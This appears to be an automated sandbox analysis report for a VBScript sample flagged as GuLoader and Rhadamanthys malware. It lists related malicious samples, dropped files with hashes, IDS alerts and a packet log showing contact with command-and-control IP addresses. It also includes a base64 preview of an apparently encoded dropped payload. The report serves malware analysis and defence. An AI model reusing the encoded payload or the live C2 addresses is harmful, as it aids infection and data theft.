ntp1.hetzner.de	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	213.239.239.164
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	213.239.239.164
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	213.239.239.164

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
US-NATIONAL-INSTITUTE-OF-STANDARDS-AND-TECHNOLOGYUS	fbot.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	129.6.93.244
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	129.6.157.62
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	129.6.15.28
	Payload 94.75 (4).225.exe	Get hash	malicious	Kronos, Strela Stealer	Browse	132.163.96.1
	T8TY28UxiT.dll	Get hash	malicious	Unknown	Browse	129.6.15.27
	T8TY28UxiT.dll	Get hash	malicious	Unknown	Browse	132.163.96.2
	Q0cWJo6Jvh.exe	Get hash	malicious	Unknown	Browse	132.163.97.1
	Q0cWJo6Jvh.exe	Get hash	malicious	Unknown	Browse	132.163.97.3
	ExeFile (354).exe	Get hash	malicious	Unknown	Browse	132.163.97.1
	ExeFile (355).exe	Get hash	malicious	Unknown	Browse	132.163.96.3
CLOUDFLARENETUS	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	172.64.41.3
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://click.pstmrk.it/3s/bmxn8t84vg.gherapilta.shop%2F/ySDk/28y5AQ/AQ/e82f1f59-f734-42be-affb-895d81855fb4/1/pD2JDTOBnb	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	UPDATED CONTRACT.exe	Get hash	malicious	FormBook	Browse	172.67.156.195
	REQUEST FOR QUOATION AND PRICES 0106-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	RFQ.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	BACS190027-01.pdf	Get hash	malicious	Unknown	Browse	172.66.42.208
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
COLOCALLInternetDataCenterColoCALLUA	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	62.149.0.30
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	62.149.0.30
	splmips.elf	Get hash	malicious	Unknown	Browse	31.28.168.19
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	62.149.0.30
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	62.149.0.30
	http://pint77.com/	Get hash	malicious	Unknown	Browse	62.149.0.249
	DHL_2017128_Receipt_Document,pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	31.28.171.149
	DHL_2017128_Receipt_Document,pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	31.28.171.149
	DHL_2017128_Receipt_Document,pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	31.28.171.149
	https://www.todayville.com/meeting-the-threshold-justins-tantrum-gets-justice-rouleaus-approval	Get hash	malicious	Unknown	Browse	62.149.1.122
HETZNER-ASDE	ky.ps1	Get hash	malicious	Unknown	Browse	148.251.114.233
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	213.239.239.164
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	213.239.239.164
	script.vbs	Get hash	malicious	Unknown	Browse	148.251.114.233
	mg.vbs	Get hash	malicious	Unknown	Browse	148.251.114.233
	mj.ps1	Get hash	malicious	Unknown	Browse	148.251.114.233
	ap.ps1	Get hash	malicious	Unknown	Browse	148.251.114.233
	cu.ps1	Get hash	malicious	Unknown	Browse	148.251.114.233
	Scripts_Obfusque.vbs	Get hash	malicious	Unknown	Browse	148.251.114.233
	ni.ps1	Get hash	malicious	Unknown	Browse	148.251.114.233

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	ky.ps1	Get hash	malicious	Unknown	Browse	68.66.226.116
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	68.66.226.116
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	68.66.226.116
	script.vbs	Get hash	malicious	Unknown	Browse	68.66.226.116
	mg.vbs	Get hash	malicious	Unknown	Browse	68.66.226.116
	mj.ps1	Get hash	malicious	Unknown	Browse	68.66.226.116
	ap.ps1	Get hash	malicious	Unknown	Browse	68.66.226.116
	cu.ps1	Get hash	malicious	Unknown	Browse	68.66.226.116
	Scripts_Obfusque.vbs	Get hash	malicious	Unknown	Browse	68.66.226.116
	ni.ps1	Get hash	malicious	Unknown	Browse	68.66.226.116
37f463bf4616ecd445d4a1937da06e19	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	202.71.109.228
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	202.71.109.228
	REQUEST FOR QUOATION AND PRICES 0106-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	202.71.109.228
	comp#U00e1rtilhar080425-000800-66000544000.exe	Get hash	malicious	Unknown	Browse	202.71.109.228
	file.exe	Get hash	malicious	Unknown	Browse	202.71.109.228
	file.exe	Get hash	malicious	Unknown	Browse	202.71.109.228
	comp#U00e1rtilhar080425-000800-66000544000.exe	Get hash	malicious	Unknown	Browse	202.71.109.228
	venomderek.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	202.71.109.228
	Ttok18.exe	Get hash	malicious	Vidar	Browse	202.71.109.228
caec7ddf6889590d999d7ca1b76373b6	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	45.149.241.141
	ab.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	45.149.241.141
	download.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	45.149.241.141
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	UGcjMkPWwW.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	XAhzDHAVZ2.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	TctqdRX5Wq.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	g753nr4GI9.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141
	msvcp110.dll	Get hash	malicious	RHADAMANTHYS	Browse	45.149.241.141

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073662221520221
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrG:KooCEYhgYEL0In
MD5:	52EF3184110E7D50EB96D53A95F5CD82
SHA1:	1E02777AB43B037A5A2A37406281ED106BE072CC
SHA-256:	0A9358C9AC265B3874E8C7814DC5ABD8141A6E0EBC71C1F3C94B482EA87F905D
SHA-512:	BF9C2F46F31AE10EFAB7B64D15CE492E7DDDD269D9330B47BFBBA780AB65A0E20DF4DE2C4CA9A4128A5F3CE5ADC2D38B5788AFC180211FC175EA86D98FF7CD8F
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc61e69aa, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42213473051787315
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	955F4E3B49B1E4DEDB6C713A49A79944
SHA1:	21964181DDBB8E798A41096C7FC87E98BCE34FC7
SHA-256:	C2364C23A89EBDB03890E0580AC6A47CFE836271334C6911CA1D41B98BF25509
SHA-512:	C01D15115728D4004889B5016046D79A8E1BD37BD0F94062BE6401B42278CAB5045EFC00D09F0947118637DA0D383E6D218A823D59BDD4A5B8BC1380ADA30541
Malicious:	false
Preview:	..i.... .......A.......X\...;...{......................0.!..........{A.3....\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................,U3....\|..................}...3....\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.077038697004612
Encrypted:	false
SSDEEP:	3:RAilEYehN3N0kjn13a/7VYr//lollcVO/lnlZMxZNQl:hEzhUk53q7yeOewk
MD5:	2A1C99E1DD8F12C34CEE27129DEBF628
SHA1:	3ACB1F1E3754C91C7D05E33BF54B5E30834E228F
SHA-256:	C70366231A953DF61332278496C7EE345258E80660A1BBE6227BC44F55A8B3CA
SHA-512:	3115927395741CFAEC83FA955ACA00E4C8C108B816D9F4E20A9B6A6078F2D5F1A95F914B8C697D4E6749B734ACEB19E7DDE812C6D828C136AD3AF78900FEC5CC
Malicious:	false
Preview:	NA.......................................;...{..3....\|.......{A..............{A......{A..........{A]................}...3....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_05qb0tg5.ath.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_alzv4jun.rak.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fidnsl5l.55u.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_na4xhesh.wrb.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Quaiches.Arg

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	444692
Entropy (8bit):	5.950022234075948
Encrypted:	false
SSDEEP:	12288:abdCm0M9V2aQZSy0l24u6R9sEMmk3xybxh:axI+sMla+nO3xih
MD5:	54885FE072CACB4A16CE119AB8043B72
SHA1:	40A3644FAC43EA2AB06557B408F65767CFCADC66
SHA-256:	FA932907D966AE3259FD5D6F317D6FBF88EAA776D8C55DA574A0A4AB4609DD92
SHA-512:	624D0A4EC9056170C58EC751FED5BA90BBC797199504502FA1A74542C5144D51E8A1235FB1036396BE13E2EED7781C73D2FD9E7325D1A14E01604D9E05C14705
Malicious:	false
Preview:	6wKSi3EBm7skWBgA6wIx3XEBmwNcJARxAZvrAqERuWQm+xrrAimH6wJNn4HxiXtfuesCoeFxAZuB6e1dpKNxAZvrAq8b6wIIP+sCgJ26Sj34DusCgqXrAmua6wIP9nEBmzHKcQGbcQGbiRQLcQGb6wL6VdHicQGbcQGbg8EE6wK3lOsCcW2B+ZwKUQJ8zHEBm+sCFhWLRCQEcQGbcQGbicNxAZvrAjjpgcMItIIB6wJXY3EBm7oy3VLRcQGb6wJLFoHyKxeTb3EBm+sC5TmB8hnKwb5xAZvrAqXTcQGbcQGbcQGbcQGbiwwQ6wIxeesC79yJDBPrArWO6wL9x0JxAZtxAZuB+rinBAB11esCPblxAZuJXCQMcQGb6wInJ4HtAAMAAHEBm3EBm4tUJAhxAZtxAZuLfCQEcQGb6wKioonr6wJM+OsCXqyBw5wAAADrAmZd6wKcalPrAtJL6wK0E2pAcQGbcQGbietxAZtxAZvHgwABAAAAcGwC6wL+c+sCdTGBwwABAADrAgcr6wJ3WVNxAZvrApSFietxAZtxAZuJuwQBAABxAZvrAk05gcMEAQAA6wJ5z+sC3XFT6wIUOusC4cNq/+sCSwhxAZuDwgXrAhX7cQGbMfbrAqqgcQGbMclxAZtxAZuLGusCNm3rAq+PQesCs03rAh2OORwKdfJxAZvrAsysRusC6RzrAmnigHwK+7h123EBm3EBm4tECvzrAujb6wJawynwcQGbcQGb/9LrAvp0cQGburinBADrAkyjcQGbMcDrAjeh6wLDBYt8JAxxAZtxAZuBNAcKTuEz6wJeCXEBm4PABHEBm+sCQ1Q50HXk6wIDTXEBm4n7cQGb6wL/Iv/X6wL2XesC0VTiTuEzChXZ44OrJnb/hQfQcM+kxoMDyPiLOxRfInGgsme72So4Sa3MR7uUyTOGtLrvyiKKr7K63o6gYMLfPOCb/YwtdXo82ceLvwKQK9/Y+Yu/ah5xmmXq/Y/kbTwk

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.013041534171809
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	payload_1.vbs
File size:	43'810 bytes
MD5:	4425add7dd6545a83437150686d4c683
SHA1:	84841a01eca1d72f4aa4ba46c1fee87c6399826f
SHA256:	143524bd089f91b6b550dfeb3b6b5c14640af652c42e5cbcebbbc9efc15a2661
SHA512:	3a9a95d09e8351457faaba7bb98ec1cd1fe2d469743ecab7102c6718944b4f2101dc5a3b2c72507b8f9bf4c87635479842af515fe29bda7a693f5433b77a442f
SSDEEP:	768:D2ZxqTUE6PIVUD/NuYkxz8GY6ZBIZfizty2pouCe1D:D2eFyfD/NuYkxAGlScxbAe1D
TLSH:	03132954D5150D2ECD0D33FB9E41D962E26A611E132320B36EBD3349684A49EF3ECB3A
File Content Preview:	..'Muldyrenes mura, rustvognes, precognizing; skytsengel,..'Synkronsvmningernes34, kjolesmmens, unoriginal tankelseste83..'Heterodoxies132! murga? sulphurless?....'Antipodistens104; imperfect....'Kryptograferedes. underpantene195; ghettoes; keps....'Brand

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-05T10:46:27.476397+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49737	202.71.109.228	443	TCP
2024-12-05T10:46:34.464003+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	2023	192.168.2.4	49738	TCP
2024-12-05T10:46:56.026871+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	2023	192.168.2.4	49748	TCP
2024-12-05T10:46:56.026871+0100	2854824	ETPRO JA3 HASH Suspected Malware Related Response	2	45.149.241.141	2023	192.168.2.4	49748	TCP
2024-12-05T10:47:07.827834+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	2023	192.168.2.4	49778	TCP
2024-12-05T10:47:07.827834+0100	2854824	ETPRO JA3 HASH Suspected Malware Related Response	2	45.149.241.141	2023	192.168.2.4	49778	TCP
2024-12-05T10:47:17.427006+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	443	192.168.2.4	49799	TCP
2024-12-05T10:47:24.592127+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	443	192.168.2.4	49815	TCP
2024-12-05T10:47:31.829677+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	443	192.168.2.4	49836	TCP
2024-12-05T10:47:39.003502+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	443	192.168.2.4	49852	TCP
2024-12-05T10:47:46.168878+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	443	192.168.2.4	49868	TCP
2024-12-05T10:47:53.334073+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	443	192.168.2.4	49885	TCP
2024-12-05T10:48:00.486039+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	443	192.168.2.4	49905	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 10:45:59.504467010 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:45:59.504617929 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:45:59.504745960 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:45:59.512111902 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:45:59.512164116 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.040925026 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.041038990 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.046365023 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.046390057 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.046700001 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.059813976 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.107336044 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.535207987 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.586544991 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.727268934 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.727287054 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.727335930 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.727356911 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.727363110 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.727381945 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.727402925 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.727440119 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.727471113 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.780699968 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.780735016 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.780920029 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.780941963 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.781012058 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.826714993 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.826751947 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.826914072 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.826947927 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.827002048 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.947089911 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.947117090 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.947237968 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.947248936 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.947329998 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.975824118 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.975846052 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.976108074 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:01.976116896 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:01.976172924 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.000988960 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.001008034 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.001117945 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.001137018 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.001204967 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.113104105 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.113135099 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.113467932 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.113518953 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.113573074 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.132307053 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.132329941 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.132559061 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.132572889 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.132710934 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.151663065 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.151683092 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.151920080 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.151941061 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.151988029 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.167494059 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.167512894 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.167712927 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.167726040 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.167785883 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.187042952 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.187061071 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.187190056 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.187206030 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.187345982 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.203397036 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.203413963 CET	443	49730	68.66.226.116	192.168.2.4
Dec 5, 2024 10:46:02.203670979 CET	49730	443	192.168.2.4	68.66.226.116
Dec 5, 2024 10:46:02.203684092 CET	443	49730	68.66.226.116	192.168.2.4
